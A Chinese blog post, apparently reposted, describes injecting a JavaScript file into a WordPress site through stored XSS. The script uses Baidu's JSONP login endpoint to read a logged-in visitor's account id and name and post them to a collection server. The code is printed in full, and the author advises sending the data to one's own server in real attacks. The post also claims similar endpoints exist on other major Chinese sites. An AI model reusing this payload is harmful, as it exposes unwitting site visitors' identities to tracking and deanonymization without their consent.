XSS结合JSONP获取网站访客社交账号信息

  我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。

具体情况如下:

1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。

2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。

 1 function jsonp_baidu() {
 2     window._baidu_1 = function(object) {
 3     if(!object.id) {
 4         return;
 5     }
 6     var data = {};
 7     data.id = object.id;
 8     data.name = object.name;
 9     $.post(saveUrl + '?act=baidu', data);
10     };
11     $.ajax({
12         url: "https://baike.baidu.com/api/login/",
13         type: "GET",
14         dataType: "jsonp",
15         jsonp: 'callback',
16         jsonpCallback: "_baidu_1",
17     });
18 }  
19 var saveUrl = 'https://www.sogou.com/xss_jsonp.php';
20 jsonp_baidu();

3、访问网站并观察刚才植入的js代码是否执行。

访问百度的JSONP接口,服务器返回登录账号的相关信息。

获取到百度账号信息后,上传到www.sogou.com服务器。

 

  目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。

 

转载于:https://www.cnblogs.com/dgjnszf/p/10793535.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值